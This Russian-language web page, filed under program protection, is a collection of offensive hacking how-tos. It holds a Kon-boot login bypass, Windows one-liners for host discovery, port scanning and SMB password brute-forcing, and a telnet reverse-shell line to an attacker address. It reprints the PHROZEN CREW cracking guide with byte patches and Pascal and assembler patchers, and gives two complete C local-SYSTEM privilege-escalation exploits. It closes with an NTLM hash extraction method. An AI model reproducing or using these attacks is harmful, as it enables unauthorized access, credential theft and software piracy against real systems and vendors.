RSS

Компьютерная терминология    1_9  A  B  C  D  E  F  G  H  I  J  K  L  M  N  O  P  Q  R  S  T  U  V  W  X  Y  Z  .....  A  Б  В  Г  Д  Ж  З  И  К  Л  М  Н  О  П  Р  С  Т  У  Ф  Х  Ц  Ч

Защита программ

Про вход в систему без пароля

Есть универсальный инструмент - Kon-boot, который загружается с дискеты или CD и модифицирует память таким образом, чтобы без проблем залогиниться под администратором в Windows (включая «семерку» с сервиспаком) и под root’ом во многих Linux-системах. Можешь легко убедиться в этом сам (естественно, на своем собственном компьютере и только в целях восстановления забытого пароля).

Правда, на сайте разработчика по какой-то причине нет образа для записи на флешку, а загружаться с CD (и, тем более, с дискеты) уже как-то несерьезно. Можно со знанием дела создать загрузочную флешку из CD-образа (благо мы уже столько раз это делали для разных Linux-дистрибутивов), но с этим возникнут проблемы. Как сделать так, чтобы все заработало? Достаточно знать несколько нюансов.

1. Сначала устанавливаем последнюю версию утилиты UNetbootin - пожалуй, лучшего решения для создания загрузочных флешек.

2. Далее необходимо скачать подходящую версию Kon-boot. Кажется, что сойдет CD-образ (как для многих других систем), но это неправильный выбор! Не наступай на грабли, от которых уже досталось многим другим. Все заработает только в том случае, если на флешку будет загружен образ для дискеты. Поэтому с сайта проекта  загружаем вариацию «Floppy image».

3. В конце концов заливаем образ на флешку с помощью UNetbootin, выбрав в качестве типа образа «Floppy».

4. Если теперь загрузиться с этой флешки, то ты непременно увидишь загрузчик UNetbootin. Жми <Enter>, и на экране появится экран с надписью «krypto logic». В последнем случае - на флешку нужно закинуть отредактированный файл syslinx.cfg. Это решит проблему, но несколько усложнит процесс загрузки. Теперь, после появления первого экрана syslinux, необходимо будет выбрать «1st Kon-Boot», а после второго - «2nd try boot from drive C: as hd1». Если экран «krypto logic» так и не появится, то выбираем следующий вариант - «.. hd2» и т.д. В конце концов, все должно получиться.

5. После экрана «krypto logic» начнется загрузка ОС, которая установлена на компьютере. Только в отличие от обычной загрузки, ты сможешь беспрепятственно залогиниться в системе с максимальными привилегиями:

Ubuntu 8.04 torpeda tty1

torpeda login: kon-usr

# id

uid=0(root) gid=0(root)

# whoami

root

Проект Kon-Boot начинался как прототип хака, который на лету вносил изменения в ядро Linux и позволял таким образом зайти в систему под root’ом. Сначала появилась версия для Ubuntu, а после вышли плагины для многих других Linuxдистрибутивов. С недавнего времени Kon-Boot поддерживает еще и большинство Windows-систем. Примечательно, что проект написан на чистом ассемблере (TASM 4.0) и работает только на архитектуре X86-32. Дальнейшее развитие Kon-Boot разработчик видит в виде коммерческого продукта, который доступен с сайта и стоит денег, но зато имеет несколько полезных доработок, в том числе возможность использования с любыми 32/64-битными Windows-системами.

Найти легкую альтернативу снифферам на базе Winpcap

RawCap - oбладая не слишком серьезной функциональностью, она является отличным выбором для тех, кто по тем или иным причинам не может использовать библиотеку WinPCAP. Хоть возможности ее и невелики — мониторинг интерфейса и дамп всего в файл, но следующие преимущества заставляют к ней присмотреться:

  1. Весит она всего 17 Кб;
  2. Работает через стандартные raw sockets Windows ;
  3. Отсутствие установки;
  4. Возможность прослушивания почти любых интерфейсов, включая WiFi-, loopback- и PPP-интерфейсы.

Из минусов стоит отметить следующие вещи. Во-первых, по заявлению разработчика — утилита не совсем корректно работает (пропускает пакеты) под Windows 7 (для входящих пакетов) и под Vista (для исходящих). Во-вторых, необходимо присутствие .NET Framework версии 2.0. В-третьих, потребность в админских правах.

Запускается тулза следующим образом:

RawCap.exe номер_интерфейса имя_файла_дампа

Сбор информации, а также перебор стандартными средствами Windows.

В продолжение предыдущей задачи давай посмотрим, что еще мы можем сотворить в консоли. Конечно, виндовая консоль — это то, с чем приходится мириться, а не то, чем хочется пользоваться, потому что удобно. Впрочем, это лирика. Итак, ситуация примерно следующая. Мы имеем права обычного пользователя на какой-то тачке. Что мы с этим можем сделать? Особенно, если доступ есть только к консоли (т.е. шелл).

Конечно, лучше всего было бы закачать того или иного софта и не мучиться. Но, во-первых, могут быть трудности с закачкой файлов (когда поовнилась машина за фаерволом и прямого доступа нет), во-вторых, антивирусы могут задететктить, если закачаешь какую-то ересь. Окей.

Так что же нам может предложить виндовая консоль и стандартные инструменты? Думаешь ничего? Как бы ни так. По сути, классический набор для сбора информации о сети, а кроме того — возможность проведения некоторых видов атак. Как раз об этом рассказывал Ed Skoudis в вебкасте «Penetration Testing Ninjitsu».

Я же приведу несколько примеров оттуда:

C:\> for /L %i in (1,1,255) do @ping 10.10.10.%i –n 1 | fi nd "Reply"

Здесь:

Таким образом, мы находим живые хосты в диапазоне 10.10.10.1-255. Логику следующих примеров пояснять не буду, уверен, ты разберешься.

Добавлю еще только пару пояснений:

Итак, определяем имена хостов:

C:\> for /L %i in (1,1,255) do @nslookup 10.10.10.%i 2>nul | fi nd "Name" && echo 10.10.10.%i

Порт сканнер на базе ftp-клиента:

C:\> for /L %i in (1,1,1024) do echo Checking Port %i: >> ports.txt & echo open 192.168.0.1 %i > ftp.txt & echo quit >> ftp.txt & ftp -s:ftp.txt 2>>ports.txt

Перебираем логины и пароли из файла на доступ к удаленному хосту по SMB:

C:\> for /f %i in (user.txt) do @(for /f %j in (pass.txt) do @ echo %i:%j & @net use \\10.10.10.10 %j /u:%i 2>nul && echo %i:%j >> success.txt && net use \\10.10.10.10 /del)

О том, что возможностей в nix’ах гораздо больше, можно и не говорить:

telnet [attacker_IPaddr] [port1] | /bin/bash | telnet [attacker_IPaddr] [port2]

Просмотреть запущенные процессы в многопользовательской системе

Такая задача может возникнуть, например, когда мы — обычный пользователь со стандартными правами на терминальном виндовом серваке и нам интересно, «чем заняты другие». Диспетчер задач (то, что запускается ) отображает только процессы пользователя запустившего его. Для просмотра всех процессов — просит уже более высоких привилегий. Решение без использования сторонних программ типа Process Explorer’а от Русиновича есть. Имя ему — Tasklist. Это стандартная консольная тулза. Она выводит все запущенные в винде процессы, чем мы и можем воспользоваться.

Кроме этого, у программы есть еще пара юзабельных аргументов, которые могут пригодиться. Отображение служб для процессов:

tasklist /SVC

Отображение процессов с подгруженными dll’ками:

tasklist /P

Учебник по взлому windows-приложений от PHROZEN CREW

Из-за большого количества просьб я решил написать этот справочник о том, как ломать Windows-программы. Но для начала я научу вас пользоваться W32Dasm. Я не хочу вам давать детальную помощь, как делать краки, но я могу научить вас самим до- бывать себе умения и навыки взлома. Когда вы используете W32Dasm, знайте, что он не даст вам се- рийные номера или коды, он лишь покажет путь, где находится место, где можно эти номера вводить. То, что я делаю каждый день при взломе программ, будет описано в этом справочнике, шаг за шагом.

 Инструменты : W32Dasm 8.5 или боолее позднюю версию, Hacker's View 5.24, Norton Commander (я позднее объясню, почему я его использую). Turbo Pascal 7.0 TASM и TLINK 3.0

Содержание :

1) Как кракнуть Quick View Plus 4.0

2) Как кракнуть HEX WorkShop 2.51

3) Как сделать собственный патч.

Quick View Plus 4.0

Шаг 1. Запустите ORDER32.EXE

Шаг 2. Кликните на $49 Single User License (вы можете кликнуть и на $59), затем ACCEPT, потом UNLOCK BY PHONE.

Шаг 3. Введите любой код для получения сообщения об ошибке (вы должны записать это сообщение), потом выйдите из программы, кликнув на CANCEL.

Шаг 4. Запустите Norton Comander, перейдите в директорию QVP.

Шаг 5. Скопируйте ORDER32.EXE в ORDER32.EXX (для сох- ранности), а затем скопируйте ORDER32.EXE в 1.EXE (для использования в W32Dasm).

Шаг 6. Запустите W32Dasm и раздессимблируйте 1.EXE.

Шаг 7. После этого, кликните на STRING DATA REFERENCE, найдите там сообщение "You have entered an incorrect code.Please check your entry" (вы должны помнить,что это было сообщение об ошибке) и дважды щелкните мышью по нему.

Шаг 8. Закройте SDR окно. Вы должны увидеть сообщение : * Possible reference to String Resource ID=00041: "You have entered... :004049F8 6A29 push 00000029 :004049FA FF353CCE4000 push dword ptr [0040CE3C]

Шаг 9. ОК, теперь вы должны найти последнее сравнение типа CMP,JNE, JE,TEST и т.д. перед сообщением об ошибке. Нажимайте стрелку "вверх", пока не найдете : :004049CD 755A jne 00404A29 * Possible reference to String Resource ID=00032: "You must select... :004049CF 6A20 push 00000020 ... ... * Possible reference to String Resource ID=00040: "Unlock Error"

Шаг 10. Теперь вы знаете, куда идет скачок при введении неправильного кода. Теперь можно посмотреть, что произойдет, если "jne" на "je". Убедитесь, что зеленая полоска находится на надписи :004049CD 755A jne 00404A29, вы должны увидеть Offset address внизу на статусной строке типа @Offset 00003DCDh Это место, где вы можете внести изменения в ORDER32.EXE.

Шаг 11. Перейдите обратно в Norton Commander, запустите HIEW ORDER32.EXE, нажмите F4 для выбора режима деко- дирования (Decode Mode), нажмите F5 и введите 3DCD. Вы должны увидеть следующее : 00003DCD: 755A jne 000003E29 00003DCF: 6A20 push 020 00003DD1: FF15 call w,[di]

Шаг 12. Это то место, где вы можете изменить байты, нажмите F3, введите 74, нажмите F9 для обновления ORDER32.EXE. Выйдите из HIEW.

Шаг 13. Запустите ORDER32.EXE, введите любой код. Ура ! Мы сломали QVP 4.0 ! Но ! Что будет, если ввести настоящий серийный номер ? Появляется сообщение об ошибке ! Что это ?

Шаг 14. Снова запустиите HIEW ORDER32.EXE, нажмите F4, выберите Decode, нажмите F5 и введите 3DCD. Нажмите F3, введите EB, нажмите F9. Вы прямо "прыгнете" на Unlocked диалог.

Hex WorkShop 2.51

Шаг 1. Запустите HWORKS32.EXE

Шаг 2. Кликните на HELP, About HEX Wo..

Шаг 3. Введите любой код, чтобы получить сообщение об ошибке (вы должны записать это сообщение) и выйдите из прог- раммы.

Шаг 4. Запустите Norton Commander, перейдите в директорию HWS.

Шаг 5. Скопируйте файл HWORKS32.EXE в HWORKS32.EXX (для сохранности) и скопируйте файл HWORKS32.EXE в 1.EXE (для использования в W32Dasm).

Шаг 6. Запустите W32Dasm и "разберите" 1.EXE.

Шаг 7. После этого, нажмите мышью на FIND TEXT, введите "You have entered an" (вы должны помнить, что это сообщение об ошибочно введенном серийном номере) и найдите соответствующую строку (вы не сможете сделать это в SDR-окне !)

Шаг 8. Вы должны увидеть следующую строку : Name: DialogID_0075, # of Controls=003, Caption:"Registration Unsucce.. 001-ControlID:FFFF, Control Class:""Control Text:"You have entered an.. 002-ControlID:FFFF, Control Class:""Control Text:"Please confirm you..

Шаг 9. Оk, теперь вы знаете, что ControlID будет использоваться, когда вы введете неверный код. Кликните FIND TEXT, введите "dialogid_0075" и вы найдете : * Possible reference to DialogID_0075 :0041E233 6A75 push 00000075 :0041E235 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]

Шаг 10. Теперь вы должны поискать последнюю ссылку, типа CMP, JNE, JE и пр. перед диалогом об ошибке. Нажи- майте клавишу "вверх", пока не найдете : :0041E145 837DEC00 cmp dword ptr [ebp-14], 00000000 :0041E149 0F8479000000 je 0041E1C8 :0041E14F 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]

Шаг 11. Теперь вам нужно посмотреть, что произойдет, если "je" заменить на "jne". Убедитесь, что зеленая полоска установлена на строке :0041E149 0F8479000000 je 0041E1C8. Вы должны на нижней статусной строке увидеть оффсетный адрес, типа : @Offset0001D549h. Это то место, где вы сможете кракнуть HWORKS32.EXE

Шаг 12. Перейдите обратно в Norton Commander, запустите HIEW HWORKS32.EXE, нажмите F4 для выбора режима декодирования (Decode Mode), нажмите F5 и введите ID549. Вы должны увидеть следующее : 0001D549: 0F847900 je 00001D5C6 ---------- (1) 0001D54D: 0000 add [bx][si],al 0001D54F: 8B8DFCFE mov cx,[di][0FEFC]

Шаг 13. Это то место, где вы сможете изменить несколько байтов, нажмите F3, введите 0F85, нажмите F9 для обновления файла HWORKS32.EXE. Выйдите из HIEW.

Шаг 14. Запустите HWORKS32.EXE и введите любой код, работает ? НЕТ !?!??!?! Хе-хе-хе... Не волнуйтесь ! Снова перейдите в Нортон. Скопируйте HWORKS32.EXX в HWORKS32.EXE (теперь вы видите, почему я делаю копию файла с расширением ЕХХ для сохранности). Теперь перейдите в W32Dasm, вы должны перейти туда, где только что были (на 0041У145).

Шаг 15. Нажмите F3 для очередного поиска "DialogID_0075", вы должны найти : * Possible reference to DialogID_0075 :00430ADD 6A75 push 00000075 :00430ADF 8D8D10FFFFFF lea ecx, dword ptr [ebp+FF10]

Шаг 16. Ok, теперь вы теперь можете посмотреть на последние ссылки, типа CMP, JNE, JE и т.д. перед диалогом об ошибке. Нажимайте стрелку вверх, пока не найдете : :004309EF 837DEC00 cmp dword ptr [ebp-14], 00000000 :004309F3 0F8479000000 je 00430A72 :004309F9 8B8DFCFEFFFF mov ecx, dword ptr [ebp+FEFC]

Шаг 17. Теперь вы можете посмотреть, что произойдет, если "je" заменить на 'jne". (это должно сработать). Переместите полоску на :004309F3 0F8479000000 je 00430A72. На статусной строке внизу экрана вы должны следующее : @Offset0002FDF3h (оффсетный адрес). Это то место, где вы сможете кракнуть HWORKS32.EXE. Шаг 18. Перейдите в Norton Commander, запустите HIEW HWORKS32.EXE, нажмите F4 для выбора Decode Mode (ASM), нажмите F5 и введите 2FDF3. Вы должны увидеть : 0002FDF3: 0F847900 je 00001D5C6 ---------- (1) 0002FDF7: 0000 add [bx][si],al 0002FDF9: 8B8DFCFE mov cx,[di][0FEFC]

Шаг 19. Это то место, где вы сможете изменить несколько байтов, нажмите F3, введите 0F85, нажмите F9 для обновления файла HWORKS32.EXE. Выйдите из HIEW.

Шаг 20. Запустите снова HWORKS32.EXE и введите любой код. Работает ! Вы кракнули HEX WorkShop 2.51 !

Патчи

Здесь напечатан исходный код на Паскале : ------------------------<cut here>--------- Uses Crt; Const A: Array[1..1] of Record {<-------- 1 byte to be patched} A : Longint; B : Byte; End = ((A:$3DCD;B:$EB)); {<--------------- offset "3DCD" and byte "EB" to be changed} Var Ch:Char; I:Byte; F:File; FN:file of byte; Size:longint; Begin Writeln('TKC''s Little Patch');writeln('Crack for QVP 4.0 by TKC/PC ''97'); Assign(F,'ORDER32.EXE'); {<-------------- filename to be patched} {$I-} Reset(F,1); {$I+} If IOResult <> 0 then begin writeln('File not found!'); halt(1); end; For I:=1 to 1 do {<---------------------- 1 byte to be patched} Begin Seek(F,A[I].A); Ch:=Char(A[I].B); Blockwrite(F,Ch,1); End; Writeln('File successfully patched!'); End. ------------------------<cut here>--------- Here's the source code for Assembler: ------------------------<cut here>--------- DOSSEG .MODEL SMALL .STACK 500h .DATA .CODE PatchL EQU 6 Buffer Db PatchL Dup(1) handle dw ? intro db "TKC's Little Patch",0dh,0ah,"Crack for QVP 4.0 by TKC/PC '97$" FileName db "ORDER32.EXE",0 ;<------- filename to be patched notfound db 0dh,0ah,"File not found!$" cracked db 0dh,0ah,"File successfully patched. Enjoy!$" Cant db 0dh,0ah,"Can't write to file.$" Done db "File has been made.$" String db 0EBh,0 ;<------------- byte "EB" to be patched START: mov ax,cs mov ds,ax mov dx,offset intro ;point to the time prompt mov ah,9 ;DOS: print string int 21h jmp openfile openfile: mov ax,cs mov ds,ax mov ax,3d02h mov dx,offset FileName int 21h mov handle,ax cmp ax,02h je filedontexist jmp write filedontexist: mov ax,cs mov ds,ax mov dx,offset notfound mov ah,9 ;DOS: print string int 21h ;display the time prompt jmp exit Write: mov bx,handle mov cx,0000h mov dx,3DCDh ;<------------- offset "3DCD" mov ax,4200h int 21h mov cx,patchl mov dx,offset String mov ah,40h mov cx,01h int 21h mov ax,cs mov ds,ax mov dx,offset cracked mov ah,9 ;DOS: print string int 21h ;display the time prompt jmp Exit Exit: mov ah,3eh int 21h mov ax,4c00h int 21h END START --------------------------<cut here>------- Заключительные слова : Здесь несколько важных функций, используемых для крака : Hex: Asm: Means 75 or 0F85 jne jump if not equal 74 or 0F84 je jump if equal EB jmp jump directly to 90 nop no operation 77 or 0F87 ja jump if above 0F86 jna jump if not above 0F83 jae jump if above or equal 0F82 jnae jump if not above or equal 0F82 jb jump if below 0F83 jnb jump if not below 0F86 jbe jump if below or equal 0F87 jnbe jump if not below or equal 0F8F jg jump if greater 0F8E jng jump if not greater 0F8D jge jump if greater or equal 0F8C jnge jump if not greater or equal 0F8C jl jump if less 0F8D jnl jump if not less 0F8E jle jump if less or equal 0F8F jnle jump if not less or equal Ваши небольшие знания по Ассемберу, вам, естественно, помогут, и они вам потребуются для использования Soft-ICE. Кроме того, вы сможете кракать эти куски дерьма с помощью W32Dasm как маньяк :-) Вы не сможете дизассемблировать программы на Visual Basic, для этого дерьма вам понадобятся специальные декомпилеры. Пока все. В следующий раз я расскажу вам, как использовать W32Dasm (Debugger Mode) и как удалять NAG (экран, появляющийся при загрузке незарегистрированных программ). После всего этого я напишу руководство по использованию Soft-ICE 3.0

   Атака на сервисы в Windows

Сервис это программа написанная особым образом, чаще всего имеющая привилегии local SYSTEM. Сервисы используются как системные службы, например для ведения логов, работы web-сервера и т.д. Как же система различает сервис это или обычная программа? Система просматривает реестр, где зарегистрированы все сервисы. Данная база доступна для просмотра в Microsoft Management Console (mmc.exe), но только для пользователей с правами администратора. Так же этот список всех сервисов можно просмотреть в реестре по ключу: HKLM\SYSTEM\ CurrentControlSet\Services

Атака подменой сервиса

Основной смысл атаки на сервисы заключается в их подмене. К примеру: есть сервис logon.scr, который представляет собой "Logon Screen Saver" - системный хранитель экрана. Смысл атаки на данный сервис заключается в подмене этого файла на cmd.exe. Как вы понимаете, cmd.exe - программа запускающая консоль в системах Windows NT/2000/XP. Поэтому вместо сервиса будет запущена консоль с правами local SYSTEM.

Алгоритм реализации данной атаки заключается в следующем:

Запустите cmd.exe и перейдите в папку Windows\System32\

Скопируйте файл cmd.exe на место logon.scr

Завершите сеанс и подождите минут 10-15.

После этого будет запущена консоль с правами local SYSTEM. Рассмотрим простую реализацию атаки на logon.scr:

//

/*

* Windows NT/2000/XP + FAT local SYSTEM exploit N1 ( example )

*

* Run: ploit2 -a

*

* This is logon.scr service attack exploit

*

* Work even on GUEST account

*

* ... Dis is CHEAT OF MIND ...

*

* Author: sl0n

* Email: bigafroelephant@mail.ru

* Webpage: unavailable n0w

*/

#include <windows.h>

#include <stdio.h>

void attack() // Функция подмены logon.scr

{

char new_val[]="\\system32\\logon.scr";

char windir[150];

char windir2[150]; // Переменные

char windir3[150];

GetWindowsDirectoryA(windir,100); // Узнаём имя директории Windows

lstrcpyA(windir2,windir); // Подготавливаем полные пути для

lstrcpyA(windir3,windir); // хранения имён

lstrcatA(windir,new_val); // В windir будет полный путь к logon.scr

lstrcatA(windir2,"\\system32\\logon32.bak"); // В windir2 backup logon.scr

lstrcatA(windir3,"\\system32\\cmd.exe"); // В windir3 полный путь к cmd.exe

CopyFileA(windir,windir2,1); // Копируем logon.scr в logon32.bak

CopyFileA(windir3,windir,0); // Копируем cmd.exe в logon.scr

printf("[ Attack was g00d ]\n"); // Выводим сообщение что всё хорошо

printf("[ Please wait 10-15 minutes in l0g0n screen ]\n");

printf("[ And SYSTEM console was dropped ]\n\n");

printf("[ Press any key ..... ]\n");

getchar(); // Ждём нажатия клавиши

ExitWindowsEx(EWX_LOGOFF,0); // Завершаем сеанс

}

void restore() // Функция восстановления logon.scr

{

char new_val[]="\\system32\\logon.scr";

char windir[150]; // Переменные

char windir2[150];

GetWindowsDirectoryA(windir,100); // Получаем полное имя Windows директории

lstrcpyA(windir2,windir); // Копируем это имя в windir2

lstrcatA(windir,new_val); // Добавляем имя logon.scr

lstrcatA(windir2,"\\system32\\logon32.bak");// Копируем logon32.bak в windir2

CopyFileA(windir2,windir,0); // Копируем logon32.bak в logon.scr

printf("[ n0w system is rest0red ]\n"); // Выводим сообщение

}

void main(int argc, char *argv[])

{

printf("[ Logon Attack by sl0n for Windows NT/2000/XP + FAT ]\n\n");

if (argc<2) // Если программа запущена без параметров то выводим сообщения

// И завершаем работу программы

{

printf("Usage: %s [-a]\n",argv[0]);

printf("-a Get local SYSTEM permissions\n");

printf("-r Restore system in statement before attack\n");

exit(0); // Завершение работы программы

}

if(strcmp(argv[1],"-a")==0) // Чего хочет пользователь, атаковать ?

attack(); // Значит будем атаковать

if(strcmp(argv[1],"-r")==0) // Восстанавливать ?

restore(); // Значит будем восстанавливать

}

//

Главным недостатком этой атаки является то, что придётся ждать где-то около 10 минут пока будет запущена консоль. Данная атака давно известна и этот эксплоит был написан всего лишь для примера.

Аналогом данной атаки является следующий вариант этого эксплоита, который избавлен от этого недостатка. Но появилось добавочное требование - возможность записи в системный реестр.

Алгоритм атаки:

Установить значение ключа реестра HKU\.DEFAULT\Control Panel\ Desktop\SCRNSAVE.EXE,  значение должно быть "cmd.exe".

Установить значение ключа реестра HKU\.DEFAULT\Control Panel\ Desktop\ScreenSaveTimeOut, значение должно быть "1".

Завершить сеанс, после этого будет запущена консоль с правами local SYSTEM.

Перейдём к примеру атаки:

//

/*

* Windows NT/2000/XP+FAT local SYSTEM exploit N2 ( example )

*

* Run: ploit2 -a

*

* This is LOGON SCREEN SAVER attack exploit

*

*

* ... Dis is CHEAT OF MIND ...

*

* Author: sl0n

* Email: bigafroelephant@mail.ru

* Webpage: unavailable n0w

*/

#include <windows.h>

#include <stdio.h>

//

void attack() // Функция редактирования реестра с целью подмены ключа

// HKEY_USERS\.DEFAULT\Control Panel\Desktop\SCRNSAVE.EXE

{

char subkey[]=".DEFAULT\\Control Panel\\Desktop";

char valname[]="SCRNSAVE.EXE"; // Переменные

char new_val[]="cmd.exe";

char valname2[]="ScreenSaveTimeOut";

char new_val2[]="1";

HKEY key1;

RegOpenKeyEx(HKEY_USERS,subkey,0,KEY_ALL_ACCESS,&key1); // Открываем ключ

// реестра

RegSetValueEx(key1,valname,0,REG_SZ,new_val,sizeof(new_val));

// Изменяем значение SCRNSAVE.EXE c logon.scr на cmd.exe

RegSetValueEx(key1,valname2,0,REG_SZ,new_val2,sizeof(new_val2));

// Изменяем значение ScreenSaveTimeOut с 600 секунд на 1

RegCloseKey(key1);

// Закрываем ключ реестра

printf("Now system is logging off ... and SYSTEM console\n");

printf("Must be spawned ");

// Выводим сообщения

ExitWindowsEx(EWX_LOGOFF,0);

// Завершаем сеанс

}

//

void restore() // Функция восстановления реестра в дефолтовое состояние

{

char subkey[]=".DEFAULT\\Control Panel\\Desktop";

char valname[]="SCRNSAVE.EXE";

char new_val[]="\\system32\\logon.scr"; // Переменные

char valname2[]="ScreenSaveTimeOut";

char new_val2[]="600";

char windir[140];

HKEY key1;

GetWindowsDirectoryA(windir,100); // Получаем в windir полное имя Windows

lstrcatA(windir,new_val); // Добавляем к нему \system32\logon.scr

RegOpenKeyEx(HKEY_USERS,subkey,0,KEY_ALL_ACCESS,&key1);

// Открываем необходимый нам ключ реестра

RegSetValueEx(key1,valname,0,REG_SZ,windir,sizeof(windir));

RegSetValueEx(key1,valname2,0,REG_SZ,new_val2,sizeof(new_val2));

// Восстанавливаем дефолтовые значения в реестре

RegCloseKey(key1);

// Закрываем ключ реестра

printf("Register was restored successfully");

// Выводим сообщение

}

//

void main(int argc, char *argv[])

{

printf("[ Logon Attack by sl0n for Windows NT/2000/XP + FAT ]\n\n");

if (argc<2) // Если программа запущена без параметров то выводим сообщения

// И завершаем работу программы

{

printf("Usage: %s [-a]\n",argv[0]);

printf("-a Get local SYSTEM permissions\n");

printf("-r Restore register in default statement attack\n");

exit(0);

}

if(strcmp(argv[1],"-a")==0) // Чего хочет пользователь, атаковать ?

attack(); // Значит будем атаковать

if(strcmp(argv[1],"-r")==0) // Восстанавливать ?

restore(); // Значит будем восстанавливать

}

//

В Win NT/2K/XP существует множество различных сервисов. Но данная атака не сработает на других сервисах. Причина заключается в том, что logon.scr представляет собой обыкновенную программу, а не сервис в полном понимании этого слова. Большинство запущенных сервисов активно постоянно и у пользователя с низкими привилегиями нет возможности остановить эти системные сервисы. А если сервис запущен, то с самим исполнимым файлом этого сервиса сделать ничего нельзя.

Mожет быть возможна ситуация, когда каким либо способом (например DoS атакой) завершается работа сервиса. После этого исполнимый файл сервиса подменяется сервисом написанным атакующим  который будет к примеру запускать консоль. После этого система перезагружается. Во время загрузки системы при запуске сервиса будет запущен подменённый сервис, который запустит консоль с правами системы.

Если существует возможность записи в реестр по ключу HKLM\SYSTEM\ CurrentControlSet\Services, тогда существует возможность написать и зарегистрировать свой сервис, который предоставит возможность получения прав local SYSTEM. Но опять же, зарегистрировать свой сервис могут только администраторы. Остальные пользователи могут только просмотреть список всех сервисов.

Так же существует программа, которая запускает любую программу, как сервис. Но для этого ей необходима возможность записи в системный реестр. Это программа называется FireDaemon, она доступна как в консольном варианте, так и с GUI интерфейсом.

Так же был написан эксплоит осуществляющий поиск и подмену сервисов доступных обычному пользователю он называется He4GetAdmin.

Данный эксплоит не функционален на Windows XP, из-за того что сервисы после подмены восстанавливаются.

Атака "длинного пути"(long path attack)

Смысл данной атаки заключается в использовании параметра исполняемого файла который передаёт полный путь. Данный параметр позже используется функцией CreateProcessAsUser для создания процесса службы. Если же в пути к исполнимому файлу присутствуют пробелы, то функция CreateProcessAsUser начинает пытаться определить имя исполнимого файла. И определяет она имя файла с некоторыми ошибками.

Например: параметр установлен в значение: C:\FAR AWAY\service.exe. Если существует файл в корне с именем FAR.exe, то будет запущен именно он. Смысл атаки заключается в поиске сервисов с аналогичными параметрами и создании файла, в нашем случае FAR.exe. Простейшим вариантом является копирование cmd.exe в C:\FAR.exe. После этого необходимо перезагрузить компьютер, при следующем запуске сервиса будет запущена консоль с правами local SYSTEM.

Представьте на секунду, что имя директории Windows другое, например SUPER Windows. Ясно, что это вам даёт? Ведь большинство системных сервисов находится именно в этой директории.

Сложности в реализации атаки:

Необходимо остановиться на том, что не все сервисы запускаются с параметром Interact with desktop. Поэтому после данной атаки консоли с правами системы вы просто не увидите хоть она и будет запущена.

Не все сервисы запускаются с правами local SYSTEM, хотя и большинство. 

На этом мы закончим анализ основных методов атак на сервисы в операционных системах WinNT/2K/XP.

Вынуть учетные записи из реестра Windows

Как ни странно, при взломе чаще всего достается именно виндовым машинкам. Захватив даже одну из них, можно поовнить всю cеть. Но об этом мы уже писали. Сегодня мы решаем практическую задачу — нужно вынуть NTLM-хэши из операционки. Можно было воспользоваться тулзами типа gsecdump, fgdump. Но тут имеются подводные камни.

Во-первых, будут орать антивирусы и проактивные защиты (из-за внедрения в процесс). Но это обходится. Во-вторых, есть проблемы с локализованными и 64-разрядными ОС, что уже существенно. Как решение можно использовать то, что NTLM-хэши и кэши хэшей (MS Cache) хранятся в реестре Windows. Если мы каким-то образом извлечем файлы реестра, то уже локально у себя на компе мы сможем вытащить необходимую нам инфу. Для вытаскивания мы можем воспользоваться либо знаменитым Cain&Abel’ем, либо pythonскриптом. Если захочешь использовать creddump под Windows, то придется установить библиотеку pycrypto. Все просто, но нужные нам файлы реестра, так называемые ветви (hives), нельзя так просто прочитать или скопировать даже с самыми высокими привилегиями.

Имена файлов ветвей реестра в C:\WINDOWS\system32\config

Что же делать? Если есть физический доступ к компьютеру и возможность запустится с liveCD, то проблем нет — копируй. Иногда можно найти сохраненные копии этих файлов. Если же нет, то можно воспользоваться одним хитрым методом — стандартной системой бекапа. Все что нам потребуется — админские права на компе. Но есть и ограничения — метода работает на винде до висты и 2008 включая.

В этих «старых» операционках есть встроенная утилита для создания бекапа системы — ntbackup.exe. Запустить ее можно и в ГУИ, и в консольном варианте. Особенность ее состоит в том, что она может использовать фичу винды — Volume Shadow Copy (VSS). Это позволяет ей бекапить залоченные файлы. По сути, все что нам потребуется, так это выполнить следующую команду:

Ntbackup.exe backup systemstate /j "Blah-blah-blah" /f "c:\backup.bkf"

Где:

И дальше придется подождать. Причем подождать пару тройку минут, так как бекапится будут все критичные области, а их в винде полно. Под XP у меня получался бекап размером в 500 метров. Немаленький, но по локалке скачать или на флешку закинуть (если ты злобный инсайдер) — небольшая проблема. Данный бекап можно разархивировать этой же тулзой (но уже у себя на компе) и заняться выковыриванием хэшей.

Кстати, здесь есть еще одна хитрость — когда мы бекапим критичные области, то ветки реестра (заодно так) копируются виндой в %systemroot%\repair. Получается как бы создание некой точки восстановления. Этим-то мы и можем воспользоваться — все необходимые файлы реестра, их последние версии лежат там.

Получается, что скачивать, в принципе, нам потребуется всего порядка 10 мегабайт, а значит, данный метод можно использовать и при удаленных атаках. Метод отличный, однако (неизвестно почему) работает он не всегда, так что с полным бекапом надежнее. Теперь об ограничениях по ОС — начиная с Vista и 2008 Microsoft лишил нас утилиты ntbackup. Типа, там появилась встроенная система бекапа. Но и тут не все так плохо. Если мы скачаем файлы ntbackup.exe, ntmsapi.dll, vssapi.dll из %systemroot%\system32 с машинки с XP и закачаем их на Висту, причем в любую папку, то тулза опять заработет, но возможно в урезанном режиме — без бекапа критичных областей. Что же делать? Как минимум, мы можем разбекапить краденые файлы.

Теперь немного непроверенной информации — для ОС Vista и 2008 (не R2) можно включить: «NTBackup can be used under Windows Vista and Windows Server 2008 by enabling the Removable Storage Manager component in Turn Windows features on or off control panel». Доступа к этим ОС у меня нет, проверить не смог. Говорят, что и в Win 7 и 2008 R2 — тоже (с некими извратами) это возможно.

Самое хорошее в этом методе — отсутствие проблем с антивирями и прочими защитными системами, так как мы остаемся в рамках стандартных возможностей. Ну а дальше, самое простое и приятное — получение хэшей и паролей.

Хэши учеток:

pwdump.py SYSTEM SAM

Пароли к сервисам (иногда в открытом виде):

lsadump.py SYSTEM SECURITY

Кэши хэшей:

cachedump.py SYSTEM SECURITY

